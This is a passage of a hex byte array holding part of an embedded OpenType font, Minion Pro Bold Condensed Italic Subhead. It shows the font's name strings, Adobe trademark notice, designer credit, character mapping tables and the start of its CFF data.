0x00, 0x64, 0x00, 0x20, 0x00, 0x53, + 0x00, 0x75, 0x00, 0x62, 0x00, 0x68, 0x00, 0x00, + 0x4D, 0x69, 0x6E, 0x69, 0x6F, 0x6E, 0x20, 0x50, + 0x72, 0x6F, 0x20, 0x43, 0x6F, 0x6E, 0x64, 0x20, + 0x53, 0x75, 0x62, 0x68, 0x00, 0x00, 0x42, 0x00, + 0x6F, 0x00, 0x6C, 0x00, 0x64, 0x00, 0x20, 0x00, + 0x49, 0x00, 0x74, 0x00, 0x61, 0x00, 0x6C, 0x00, + 0x69, 0x00, 0x63, 0x00, 0x00, 0x42, 0x6F, 0x6C, + 0x64, 0x20, 0x49, 0x74, 0x61, 0x6C, 0x69, 0x63, + 0x00, 0x00, 0x32, 0x00, 0x2E, 0x00, 0x30, 0x00, + 0x33, 0x00, 0x30, 0x00, 0x3B, 0x00, 0x41, 0x00, + 0x44, 0x00, 0x42, 0x00, 0x45, 0x00, 0x3B, 0x00, + 0x4D, 0x00, 0x69, 0x00, 0x6E, 0x00, 0x69, 0x00, + 0x6F, 0x00, 0x6E, 0x00, 0x50, 0x00, 0x72, 0x00, + 0x6F, 0x00, 0x2D, 0x00, 0x42, 0x00, 0x6F, 0x00, + 0x6C, 0x00, 0x64, 0x00, 0x43, 0x00, 0x6E, 0x00, + 0x49, 0x00, 0x74, 0x00, 0x53, 0x00, 0x75, 0x00, + 0x62, 0x00, 0x68, 0x00, 0x00, 0x32, 0x2E, 0x30, + 0x33, 0x30, 0x3B, 0x41, 0x44, 0x42, 0x45, 0x3B, + 0x4D, 0x69, 0x6E, 0x69, 0x6F, 0x6E, 0x50, 0x72, + 0x6F, 0x2D, 0x42, 0x6F, 0x6C, 0x64, 0x43, 0x6E, + 0x49, 0x74, 0x53, 0x75, 0x62, 0x68, 0x00, 0x00, + 0x4D, 0x00, 0x69, 0x00, 0x6E, 0x00, 0x69, 0x00, + 0x6F, 0x00, 0x6E, 0x00, 0x50, 0x00, 0x72, 0x00, + 0x6F, 0x00, 0x2D, 0x00, 0x42, 0x00, 0x6F, 0x00, + 0x6C, 0x00, 0x64, 0x00, 0x43, 0x00, 0x6E, 0x00, + 0x49, 0x00, 0x74, 0x00, 0x53, 0x00, 0x75, 0x00, + 0x62, 0x00, 0x68, 0x00, 0x00, 0x4D, 0x69, 0x6E, + 0x69, 0x6F, 0x6E, 0x50, 0x72, 0x6F, 0x2D, 0x42, + 0x6F, 0x6C, 0x64, 0x43, 0x6E, 0x49, 0x74, 0x53, + 0x75, 0x62, 0x68, 0x00, 0x00, 0x56, 0x00, 0x65, + 0x00, 0x72, 0x00, 0x73, 0x00, 0x69, 0x00, 0x6F, + 0x00, 0x6E, 0x00, 0x20, 0x00, 0x32, 0x00, 0x2E, + 0x00, 0x30, 0x00, 0x33, 0x00, 0x30, 0x00, 0x3B, + 0x00, 0x50, 0x00, 0x53, 0x00, 0x20, 0x00, 0x32, + 0x00, 0x2E, 0x00, 0x30, 0x00, 0x30, 0x00, 0x30, + 0x00, 0x3B, 0x00, 0x68, 0x00, 0x6F, 0x00, 0x74, + 0x00, 0x63, 0x00, 0x6F, 0x00, 0x6E, 0x00, 0x76, + 0x00, 0x20, 0x00, 0x31, 0x00, 0x2E, 0x00, 0x30, + 0x00, 0x2E, 0x00, 0x35, 0x00, 0x31, 0x00, 0x3B, + 0x00, 0x6D, 0x00, 0x61, 0x00, 0x6B, 0x00, 0x65, + 0x00, 0x6F, 0x00, 0x74, 0x00, 0x66, 0x00, 0x2E, + 0x00, 0x6C, 0x00, 0x69, 0x00, 0x62, 0x00, 0x32, + 0x00, 0x2E, 0x00, 0x30, 0x00, 0x2E, 0x00, 0x31, + 0x00, 0x38, 0x00, 0x36, 0x00, 0x37, 0x00, 0x31, + 0x00, 0x00, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6F, + 0x6E, 0x20, 0x32, 0x2E, 0x30, 0x33, 0x30, 0x3B, + 0x50, 0x53, 0x20, 0x32, 0x2E, 0x30, 0x30, 0x30, + 0x3B, 0x68, 0x6F, 0x74, 0x63, 0x6F, 0x6E, 0x76, + 0x20, 0x31, 0x2E, 0x30, 0x2E, 0x35, 0x31, 0x3B, + 0x6D, 0x61, 0x6B, 0x65, 0x6F, 0x74, 0x66, 0x2E, + 0x6C, 0x69, 0x62, 0x32, 0x2E, 0x30, 0x2E, 0x31, + 0x38, 0x36, 0x37, 0x31, 0x00, 0x00, 0x4D, 0x00, + 0x69, 0x00, 0x6E, 0x00, 0x69, 0x00, 0x6F, 0x00, + 0x6E, 0x00, 0x50, 0x00, 0x72, 0x00, 0x6F, 0x00, + 0x2D, 0x00, 0x42, 0x00, 0x6F, 0x00, 0x6C, 0x00, + 0x64, 0x00, 0x43, 0x00, 0x6E, 0x00, 0x49, 0x00, + 0x74, 0x00, 0x53, 0x00, 0x75, 0x00, 0x62, 0x00, + 0x68, 0x00, 0x00, 0x4D, 0x69, 0x6E, 0x69, 0x6F, + 0x6E, 0x50, 0x72, 0x6F, 0x2D, 0x42, 0x6F, 0x6C, + 0x64, 0x43, 0x6E, 0x49, 0x74, 0x53, 0x75, 0x62, + 0x68, 0x00, 0x00, 0x4D, 0x00, 0x69, 0x00, 0x6E, + 0x00, 0x69, 0x00, 0x6F, 0x00, 0x6E, 0x00, 0x20, + 0x00, 0x69, 0x00, 0x73, 0x00, 0x20, 0x00, 0x65, + 0x00, 0x69, 0x00, 0x74, 0x00, 0x68, 0x00, 0x65, + 0x00, 0x72, 0x00, 0x20, 0x00, 0x61, 0x00, 0x20, + 0x00, 0x72, 0x00, 0x65, 0x00, 0x67, 0x00, 0x69, + 0x00, 0x73, 0x00, 0x74, 0x00, 0x65, 0x00, 0x72, + 0x00, 0x65, 0x00, 0x64, 0x00, 0x20, 0x00, 0x74, + 0x00, 0x72, 0x00, 0x61, 0x00, 0x64, 0x00, 0x65, + 0x00, 0x6D, 0x00, 0x61, 0x00, 0x72, 0x00, 0x6B, + 0x00, 0x20, 0x00, 0x6F, 0x00, 0x72, 0x00, 0x20, + 0x00, 0x61, 0x00, 0x20, 0x00, 0x74, 0x00, 0x72, + 0x00, 0x61, 0x00, 0x64, 0x00, 0x65, 0x00, 0x6D, + 0x00, 0x61, 0x00, 0x72, 0x00, 0x6B, 0x00, 0x20, + 0x00, 0x6F, 0x00, 0x66, 0x00, 0x20, 0x00, 0x41, + 0x00, 0x64, 0x00, 0x6F, 0x00, 0x62, 0x00, 0x65, + 0x00, 0x20, 0x00, 0x53, 0x00, 0x79, 0x00, 0x73, + 0x00, 0x74, 0x00, 0x65, 0x00, 0x6D, 0x00, 0x73, + 0x00, 0x20, 0x00, 0x49, 0x00, 0x6E, 0x00, 0x63, + 0x00, 0x6F, 0x00, 0x72, 0x00, 0x70, 0x00, 0x6F, + 0x00, 0x72, 0x00, 0x61, 0x00, 0x74, 0x00, 0x65, + 0x00, 0x64, 0x00, 0x20, 0x00, 0x69, 0x00, 0x6E, + 0x00, 0x20, 0x00, 0x74, 0x00, 0x68, 0x00, 0x65, + 0x00, 0x20, 0x00, 0x55, 0x00, 0x6E, 0x00, 0x69, + 0x00, 0x74, 0x00, 0x65, 0x00, 0x64, 0x00, 0x20, + 0x00, 0x53, 0x00, 0x74, 0x00, 0x61, 0x00, 0x74, + 0x00, 0x65, 0x00, 0x73, 0x00, 0x20, 0x00, 0x61, + 0x00, 0x6E, 0x00, 0x64, 0x00, 0x2F, 0x00, 0x6F, + 0x00, 0x72, 0x00, 0x20, 0x00, 0x6F, 0x00, 0x74, + 0x00, 0x68, 0x00, 0x65, 0x00, 0x72, 0x00, 0x20, + 0x00, 0x63, 0x00, 0x6F, 0x00, 0x75, 0x00, 0x6E, + 0x00, 0x74, 0x00, 0x72, 0x00, 0x69, 0x00, 0x65, + 0x00, 0x73, 0x00, 0x2E, 0x00, 0x00, 0x4D, 0x69, + 0x6E, 0x69, 0x6F, 0x6E, 0x20, 0x69, 0x73, 0x20, + 0x65, 0x69, 0x74, 0x68, 0x65, 0x72, 0x20, 0x61, + 0x20, 0x72, 0x65, 0x67, 0x69, 0x73, 0x74, 0x65, + 0x72, 0x65, 0x64, 0x20, 0x74, 0x72, 0x61, 0x64, + 0x65, 0x6D, 0x61, 0x72, 0x6B, 0x20, 0x6F, 0x72, + 0x20, 0x61, 0x20, 0x74, 0x72, 0x61, 0x64, 0x65, + 0x6D, 0x61, 0x72, 0x6B, 0x20, 0x6F, 0x66, 0x20, + 0x41, 0x64, 0x6F, 0x62, 0x65, 0x20, 0x53, 0x79, + 0x73, 0x74, 0x65, 0x6D, 0x73, 0x20, 0x49, 0x6E, + 0x63, 0x6F, 0x72, 0x70, 0x6F, 0x72, 0x61, 0x74, + 0x65, 0x64, 0x20, 0x69, 0x6E, 0x20, 0x74, 0x68, + 0x65, 0x20, 0x55, 0x6E, 0x69, 0x74, 0x65, 0x64, + 0x20, 0x53, 0x74, 0x61, 0x74, 0x65, 0x73, 0x20, + 0x61, 0x6E, 0x64, 0x2F, 0x6F, 0x72, 0x20, 0x6F, + 0x74, 0x68, 0x65, 0x72, 0x20, 0x63, 0x6F, 0x75, + 0x6E, 0x74, 0x72, 0x69, 0x65, 0x73, 0x2E, 0x00, + 0x00, 0x52, 0x00, 0x6F, 0x00, 0x62, 0x00, 0x65, + 0x00, 0x72, 0x00, 0x74, 0x00, 0x20, 0x00, 0x53, + 0x00, 0x6C, 0x00, 0x69, 0x00, 0x6D, 0x00, 0x62, + 0x00, 0x61, 0x00, 0x63, 0x00, 0x68, 0x00, 0x00, + 0x52, 0x6F, 0x62, 0x65, 0x72, 0x74, 0x20, 0x53, + 0x6C, 0x69, 0x6D, 0x62, 0x61, 0x63, 0x68, 0x00, + 0x00, 0x68, 0x00, 0x74, 0x00, 0x74, 0x00, 0x70, + 0x00, 0x3A, 0x00, 0x2F, 0x00, 0x2F, 0x00, 0x77, + 0x00, 0x77, 0x00, 0x77, 0x00, 0x2E, 0x00, 0x61, + 0x00, 0x64, 0x00, 0x6F, 0x00, 0x62, 0x00, 0x65, + 0x00, 0x2E, 0x00, 0x63, 0x00, 0x6F, 0x00, 0x6D, + 0x00, 0x2F, 0x00, 0x74, 0x00, 0x79, 0x00, 0x70, + 0x00, 0x65, 0x00, 0x2F, 0x00, 0x00, 0x68, 0x74, + 0x74, 0x70, 0x3A, 0x2F, 0x2F, 0x77, 0x77, 0x77, + 0x2E, 0x61, 0x64, 0x6F, 0x62, 0x65, 0x2E, 0x63, + 0x6F, 0x6D, 0x2F, 0x74, 0x79, 0x70, 0x65, 0x2F, + 0x00, 0x00, 0x68, 0x00, 0x74, 0x00, 0x74, 0x00, + 0x70, 0x00, 0x3A, 0x00, 0x2F, 0x00, 0x2F, 0x00, + 0x77, 0x00, 0x77, 0x00, 0x77, 0x00, 0x2E, 0x00, + 0x61, 0x00, 0x64, 0x00, 0x6F, 0x00, 0x62, 0x00, + 0x65, 0x00, 0x2E, 0x00, 0x63, 0x00, 0x6F, 0x00, + 0x6D, 0x00, 0x2F, 0x00, 0x74, 0x00, 0x79, 0x00, + 0x70, 0x00, 0x65, 0x00, 0x2F, 0x00, 0x6C, 0x00, + 0x65, 0x00, 0x67, 0x00, 0x61, 0x00, 0x6C, 0x00, + 0x2E, 0x00, 0x68, 0x00, 0x74, 0x00, 0x6D, 0x00, + 0x6C, 0x00, 0x00, 0x68, 0x74, 0x74, 0x70, 0x3A, + 0x2F, 0x2F, 0x77, 0x77, 0x77, 0x2E, 0x61, 0x64, + 0x6F, 0x62, 0x65, 0x2E, 0x63, 0x6F, 0x6D, 0x2F, + 0x74, 0x79, 0x70, 0x65, 0x2F, 0x6C, 0x65, 0x67, + 0x61, 0x6C, 0x2E, 0x68, 0x74, 0x6D, 0x6C, 0x00, + 0x00, 0x4D, 0x00, 0x69, 0x00, 0x6E, 0x00, 0x69, + 0x00, 0x6F, 0x00, 0x6E, 0x00, 0x20, 0x00, 0x50, + 0x00, 0x72, 0x00, 0x6F, 0x00, 0x00, 0x4D, 0x69, + 0x6E, 0x69, 0x6F, 0x6E, 0x20, 0x50, 0x72, 0x6F, + 0x00, 0x00, 0x42, 0x00, 0x6F, 0x00, 0x6C, 0x00, + 0x64, 0x00, 0x20, 0x00, 0x43, 0x00, 0x6F, 0x00, + 0x6E, 0x00, 0x64, 0x00, 0x20, 0x00, 0x49, 0x00, + 0x74, 0x00, 0x61, 0x00, 0x6C, 0x00, 0x69, 0x00, + 0x63, 0x00, 0x20, 0x00, 0x53, 0x00, 0x75, 0x00, + 0x62, 0x00, 0x68, 0x00, 0x65, 0x00, 0x61, 0x00, + 0x64, 0x00, 0x00, 0x42, 0x6F, 0x6C, 0x64, 0x20, + 0x43, 0x6F, 0x6E, 0x64, 0x20, 0x49, 0x74, 0x61, + 0x6C, 0x69, 0x63, 0x20, 0x53, 0x75, 0x62, 0x68, + 0x65, 0x61, 0x64, 0x00, 0x00, 0x4D, 0x00, 0x69, + 0x00, 0x6E, 0x00, 0x69, 0x00, 0x6F, 0x00, 0x6E, + 0x00, 0x20, 0x00, 0x50, 0x00, 0x72, 0x00, 0x6F, + 0x00, 0x20, 0x00, 0x42, 0x00, 0x6F, 0x00, 0x6C, + 0x00, 0x64, 0x00, 0x20, 0x00, 0x43, 0x00, 0x6F, + 0x00, 0x6E, 0x00, 0x64, 0x00, 0x20, 0x00, 0x49, + 0x00, 0x74, 0x00, 0x61, 0x00, 0x6C, 0x00, 0x20, + 0x00, 0x53, 0x00, 0x75, 0x00, 0x62, 0x00, 0x68, + 0x00, 0x00, 0x4D, 0x69, 0x6E, 0x69, 0x6F, 0x6E, + 0x20, 0x50, 0x72, 0x6F, 0x20, 0x42, 0x6F, 0x6C, + 0x64, 0x20, 0x43, 0x6F, 0x6E, 0x64, 0x20, 0x49, + 0x74, 0x61, 0x6C, 0x20, 0x53, 0x75, 0x62, 0x68, + 0x00, 0x00, 0x42, 0x00, 0x6F, 0x00, 0x6C, 0x00, + 0x64, 0x00, 0x20, 0x00, 0x43, 0x00, 0x6F, 0x00, + 0x6E, 0x00, 0x64, 0x00, 0x65, 0x00, 0x6E, 0x00, + 0x73, 0x00, 0x65, 0x00, 0x64, 0x00, 0x20, 0x00, + 0x49, 0x00, 0x74, 0x00, 0x61, 0x00, 0x6C, 0x00, + 0x69, 0x00, 0x63, 0x00, 0x00, 0x42, 0x6F, 0x6C, + 0x64, 0x20, 0x43, 0x6F, 0x6E, 0x64, 0x65, 0x6E, + 0x73, 0x65, 0x64, 0x20, 0x49, 0x74, 0x61, 0x6C, + 0x69, 0x63, 0x00, 0x00, 0x00, 0x00, 0x00, 0x03, + 0x00, 0x00, 0x00, 0x03, 0x00, 0x00, 0x00, 0x1C, + 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x01, 0x04, + 0x00, 0x03, 0x00, 0x01, 0x00, 0x00, 0x00, 0x1C, + 0x00, 0x04, 0x00, 0xE8, 0x00, 0x00, 0x00, 0x36, + 0x00, 0x20, 0x00, 0x04, 0x00, 0x16, 0x00, 0x62, + 0x00, 0x66, 0x00, 0x67, 0x00, 0x6D, 0x00, 0x7D, + 0x00, 0xA2, 0x00, 0xA3, 0x00, 0xA5, 0x00, 0xA6, + 0x00, 0xA8, 0x00, 0xAA, 0x00, 0xAB, 0x00, 0xAE, + 0x00, 0xB2, 0x00, 0xB3, 0x00, 0xB4, 0x00, 0xB7, + 0x00, 0xB8, 0x00, 0xBA, 0x00, 0xBC, 0x00, 0xBE, + 0x00, 0xC0, 0x01, 0x42, 0x01, 0x78, 0x02, 0xDC, + 0x03, 0xBC, 0xFF, 0xFF, 0x00, 0x00, 0x00, 0x62, + 0x00, 0x66, 0x00, 0x67, 0x00, 0x6D, 0x00, 0x7D, + 0x00, 0xA2, 0x00, 0xA3, 0x00, 0xA5, 0x00, 0xA6, + 0x00, 0xA8, 0x00, 0xAA, 0x00, 0xAB, 0x00, 0xAE, + 0x00, 0xB2, 0x00, 0xB3, 0x00, 0xB4, 0x00, 0xB7, + 0x00, 0xB8, 0x00, 0xBA, 0x00, 0xBC, 0x00, 0xBE, + 0x00, 0xC0, 0x01, 0x42, 0x01, 0x78, 0x02, 0xDC, + 0x03, 0xBC, 0xFF, 0xFF, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x06, 0x02, 0x0A, 0x00, 0x00, 0x00, 0x00, + 0x01, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x02, + 0x00, 0x00, 0x00, 0x03, 0x00, 0x00, 0x00, 0x04, + 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x06, + 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, 0x08, + 0x00, 0x00, 0x00, 0x09, 0x00, 0x00, 0x00, 0x0A, + 0x00, 0x00, 0x00, 0x0B, 0x00, 0x00, 0x00, 0x0C, + 0x00, 0x00, 0x00, 0x0D, 0x00, 0x00, 0x00, 0x0E, + 0x00, 0x00, 0x00, 0x0F, 0x00, 0x00, 0x00, 0x10, + 0x00, 0x00, 0x00, 0x11, 0x00, 0x12, 0x00, 0x13, + 0x00, 0x14, 0x00, 0x15, 0x00, 0x16, 0x00, 0x17, + 0x00, 0x18, 0x00, 0x19, 0x00, 0x1A, 0x00, 0x1B, + 0x00, 0x1C, 0x00, 0x1D, 0x00, 0x1E, 0x00, 0x1F, + 0x00, 0x20, 0x00, 0x21, 0x00, 0x22, 0x00, 0x23, + 0x00, 0x24, 0x00, 0x25, 0x00, 0x26, 0x00, 0x27, + 0x00, 0x28, 0x00, 0x29, 0x00, 0x2A, 0x00, 0x2B, + 0x00, 0x2C, 0x00, 0x2D, 0x00, 0x2E, 0x00, 0x2F, + 0x00, 0x30, 0x00, 0x31, 0x00, 0x32, 0x00, 0x33, + 0x00, 0x34, 0x00, 0x35, 0x00, 0x36, 0x00, 0x37, + 0x00, 0x38, 0x00, 0x39, 0x00, 0x3A, 0x00, 0x3B, + 0x00, 0x3C, 0x00, 0x3D, 0x00, 0x3E, 0x00, 0x3F, + 0x00, 0x40, 0x00, 0x41, 0x00, 0x42, 0x00, 0x43, + 0x00, 0x44, 0x00, 0x45, 0x00, 0x46, 0x00, 0x47, + 0x00, 0x48, 0x00, 0x49, 0x00, 0x4A, 0x00, 0x4B, + 0x00, 0x4C, 0x00, 0x4D, 0x00, 0x4E, 0x00, 0x4F, + 0x00, 0x50, 0x00, 0x51, 0x00, 0x52, 0x00, 0x53, + 0x00, 0x54, 0x00, 0x55, 0x00, 0x56, 0x00, 0x57, + 0x00, 0x58, 0x00, 0x59, 0x00, 0x5A, 0x00, 0x5B, + 0x00, 0x5C, 0x00, 0x5D, 0x00, 0x5E, 0x00, 0x5F, + 0x00, 0x60, 0x00, 0x61, 0x00, 0x62, 0x00, 0x63, + 0x00, 0x64, 0x00, 0x65, 0x00, 0x66, 0x00, 0x67, + 0x00, 0x68, 0x00, 0x69, 0x00, 0x6A, 0x00, 0x6B, + 0x00, 0x6C, 0x00, 0x6D, 0x00, 0x6E, 0x00, 0x6F, + 0x00, 0x70, 0x00, 0xB5, 0x00, 0xB6, 0x00, 0xB8, + 0x00, 0xBA, 0x00, 0xC2, 0x00, 0xC7, 0x00, 0xCD, + 0x00, 0xD2, 0x00, 0xD1, 0x00, 0xD3, 0x00, 0xD5, + 0x00, 0xD4, 0x00, 0xD6, 0x00, 0xD8, 0x00, 0xDA, + 0x00, 0xD9, 0x00, 0xDB, 0x00, 0xDC, 0x00, 0xDE, + 0x00, 0xDD, 0x00, 0xDF, 0x00, 0xE0, 0x00, 0xE2, + 0x00, 0xE4, 0x00, 0xE3, 0x00, 0xE5, 0x00, 0xE7, + 0x00, 0xE6, 0x00, 0xEB, 0x00, 0xEA, 0x00, 0xEC, + 0x00, 0xED, 0x00, 0x00, 0x00, 0xA1, 0x00, 0x93, + 0x00, 0x94, 0x00, 0x98, 0x00, 0x00, 0x00, 0xA7, + 0x00, 0xD0, 0x00, 0x9F, 0x00, 0x9A, 0x00, 0x00, + 0x00, 0xA5, 0x00, 0x99, 0x00, 0x00, 0x00, 0xB7, + 0x00, 0xC9, 0x00, 0x00, 0x00, 0xA2, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x96, 0x00, 0xA6, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x9B, 0x00, 0xAB, 0x00, 0x00, 0x00, 0xD7, + 0x00, 0xE9, 0x00, 0xB0, 0x00, 0x92, 0x00, 0x9D, + 0x00, 0x00, 0x01, 0x83, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x9C, 0x00, 0xAC, 0x00, 0x00, 0x00, 0x91, + 0x00, 0xB1, 0x00, 0xB4, 0x00, 0xC6, 0x01, 0x43, + 0x01, 0x44, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xE8, + 0x00, 0x00, 0x00, 0xF0, 0x01, 0x69, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x9A, 0xD9, + 0x9A, 0xDA, 0x00, 0x00, 0x00, 0xA8, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0xB3, 0x00, 0xBB, + 0x00, 0xB2, 0x00, 0xBC, 0x00, 0xB9, 0x00, 0xBE, + 0x00, 0xBF, 0x00, 0xC0, 0x00, 0xBD, 0x00, 0xC4, + 0x00, 0xC5, 0x98, 0xD7, 0x00, 0xC3, 0x00, 0xCB, + 0x00, 0xCC, 0x00, 0xCA, 0x01, 0x22, 0x00, 0x00, + 0x00, 0x00, 0x00, 0xA0, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0xA9, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x03, 0x00, 0x00, + 0xFF, 0xF4, 0x00, 0x00, 0xFF, 0xB5, 0x00, 0x32, + 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x04, 0x04, + 0x00, 0x01, 0x01, 0x01, 0x17, 0x4D, 0x69, 0x6E, + 0x69, 0x6F, 0x6E, 0x50, 0x72, 0x6F, 0x2D, 0x42, + 0x6F, 0x6C, 0x64, 0x43, 0x6E, 0x49, 0x74, 0x53, + 0x75, 0x62, 0x68, 0x00, 0x01, 0x02, 0x00, 0x01, + 0x00, 0x47, 0x1D, 0x00, 0x00, 0xA0, 0x16, 0x00, + 0x1D, 0x00, 0x00, 0xA0, 0x17, 0x01, 0x1D, 0x00, + 0x00, 0xA0, 0x18, 0x02, 0x1D, 0x00, 0x00, 0xA0, + 0x19, 0x03, 0xF8, 0x14, 0x04, 0x8C, 0x0C, 0x01, + 0x7F, 0x0C, 0x02, 0x59, 0x0C, 0x03, 0x8B, 0x8B, + 0x8B, 0x8B, 0x05, 0x1D, 0x00, 0x06, 0xE1, 0x21, + 0x0F, 0x1D, 0x00, 0x00, 0x00, 0x00, 0x10, 0x1D, + 0x00, 0x08, 0x20, 0xC8, 0x11, 0x1D, 0x00, 0x00, + 0x00, 0x47, 0x1D, 0x00, 0x0A, 0x00, 0x49, 0x12, + 0x9E, 0x93, 0x04, 0x00, 0x00, 0x00, 0x01, 0x00, + 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x0F, 0x00, + 0x00, 0x00, 0x16, 0x00, 0x00, 0x00, 0x1D, 0x00, + 0x00, 0x00, 0x24, 0x00, 0x00, 0x00, 0x2B, 0x00, + 0x00, 0x00, 0x32, 0x00, 0x00, 0x00, 0x39, 0x00, + 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x47, 0x00, + 0x00, 0x00, 0x4E, 0x00, 0x00, 0x00, 0x55, 0x00, + 0x00, 0x00, 0x5C, 0x00, 0x00, 0x00, 0x63, 0x00, + 0x00, 0x00, 0x6A, 0x00, 0x00, 0x00, 0x71, 0x00, + 0x00, 0x00, 0x78, 0x00, 0x00, 0x00, 0x7F, 0x00, + 0x00, 0x00, 0x86, 0x00, 0x00, 0x00, 0x8D, 0x00, + 0x00, 0x00, 0x94, 0x00, 0x00, 0x00, 0x9B, 0x00, + 0x00, 0x00, 0xA2, 0x00, 0x00, 0x00, 0xA9, 0x00, + 0x00, 0x00, 0xB0, 0x00, 0x00, 0x00, 0xB7, 0x00, + 0x00, 0x00, 0xBE, 0x00, 0x00, 0x00, 0xC5, 0x00, + 0x00, 0x00, 0xCC, 0x00, 0x00, 0x00, 0xD3, 0x00, + 0x00, 0x00, 0xDA, 0x00, 0x00, 0x00, 0xE1, 0x00, + 0x00, 0x00, 0xE8, 0x00, 0x00, 0x00, 0xEF, 0x00, + 0x00, 0x00, 0xF6, 0x00, 0x00, 0x00, 0xFD, 0x00, + 0x00, 0x01, 0x04, 0x00, 0x00, 0x01, 0x0B, 0x00, + 0x00, 0x01, 0x12, 0x00, 0x00, 0x01, 0x19, 0x00, + 0x00, 0x01, 0x20, 0x00, 0x00, 0x01, 0x27, 0x00, + 0x00, 0x01, 0x2E, 0x00, 0x00, 0x01, 0x35, 0x00, + 0x00, 0x01, 0x3C, 0x00, 0x00, 0x01, 0x43, 0x00, + 0x00, 0x01, 0x4A, 0x00, 0x00, 0x01, 0x51, 0x00, + 0x00, 0x01, 0x58, 0x00, 0x00, 0x01, 0x5F, 0x00, + 0x00, 0x01, 0x66, 0x00, 0x00, 0x01, 0x6D, 0x00, + 0x00, 0x01, 0x74, 0x00, 0x00, 0x01, 0x7A, 0x00, + 0x00, 0x01, 0x80, 0x00, 0x00, 0x01, 0x87, 0x00, + 0x00, 0x01, 0x8E, 0x00, 0x00, 0x01, 0x94, 0x00, + 0x00, 0x01, 0x9A, 0x00, 0x00, 0x01, 0xA5, 0x00, + 0x00, 0x01, 0xB0, 0x00, 0x00, 0x01, 0xBA, 0x00, + 0x00, 0x01, 0xC4, 0x00, 0x00, 0x01, 0xCA, 0x00, + 0x00, 0x01, 0xD0, 0x00, 0x00, 0x01, 0xD6, 0x00, + 0x00, 0x01, 0xDC, 0x00, 0x00, 0x01, 0xE2, 0x00, + 0x00, 0x01, 0xE8, 0x00, 0x00, 0x01, 0xEF, 0x00, + 0x00, 0x01, 0xF6, 0x00, 0x00, 0x01, 0xFC, 0x00, + 0x00, 0x02, 0x02, 0x00, 0x00, 0x02, 0x0C, 0x00, + 0x00, 0x02, 0x16, 0x00, 0x00, 0x02, 0x1D, 0x00, + 0x00, 0x02, 0x24, 0x00, 0x00, 0x02, 0x2A, 0x00, + 0x00, 0x02, 0x30, 0x00, 0x00, 0x02, 0x3B, 0x00, + 0x00, 0x02, 0x46, 0x00, 0x00, 0x02, 0x4C, 0x00, + 0x00, 0x02, 0x52, 0x00, 0x00, 0x02, 0x5C, 0x00, + 0x00, 0x02, 0x66, 0x00, 0x00, 0x02, 0x72, 0x00, + 0x00, 0x02, 0x7E, 0x00, 0x00, 0x02, 0x89, 0x00, + 0x00, 0x02, 0x94, 0x00, 0x00, 0x02, 0x98, 0x00, + 0x00, 0x02, 0x9C, 0x00, 0x00, 0x02, 0xA2, 0x00, + 0x00, 0x02, 0xA8, 0x00, 0x00, 0x02, 0xAF, 0x00, + 0x00, 0x02, 0xB6, 0x00, 0x00, 0x02, 0xBC, 0x00, + 0x00, 0x02, 0xC2, 0x00, 0x00, 0x02, 0xC9, 0x00, + 0x00, 0x02, 0xD0, 0x00, 0x00, 0x02, 0xDA, 0x00, + 0x00, 0x02, 0xDC, 0x00, 0x00, 0x02, 0xDE, 0x00, + 0x00, 0x02, 0xE9, 0x00, 0x00, 0x02, 0xF4, 0x00, + 0x00, 0x03, 0x00, 0x00, 0x00, 0x03, 0x0C, 0x00, + 0x00, 0x03, 0x18, 0x00, 0x00, 0x03, 0x1E, 0x00, + 0x00, 0x03, 0x24, 0x00, 0x00, 0x03, 0x30, 0x00, + 0x00, 0x03, 0x3C, 0x00, 0x00, 0x03, 0x42, 0x00, + 0x00, 0x03, 0x48, 0x00, 0x00, 0x03, 0x4C, 0x00, + 0x00, 0x03, 0x50, 0x00, 0x00, 0x03, 0x56, 0x00, + 0x00, 0x03, 0x5C, 0x00, 0x00, 0x03, 0x68, 0x00, + 0x00, 0x03, 0x74, 0x00, 0x00, 0x03, 0x7A, 0x00, + 0x00, 0x03, 0x80, 0x00, 0x00, 0x03, 0x8B, 0x00, + 0x00, 0x03, 0x8E, 0x00, 0x00, 0x03, 0x91, 0x00, + 0x00, 0x03, 0x98, 0x00, 0x00, 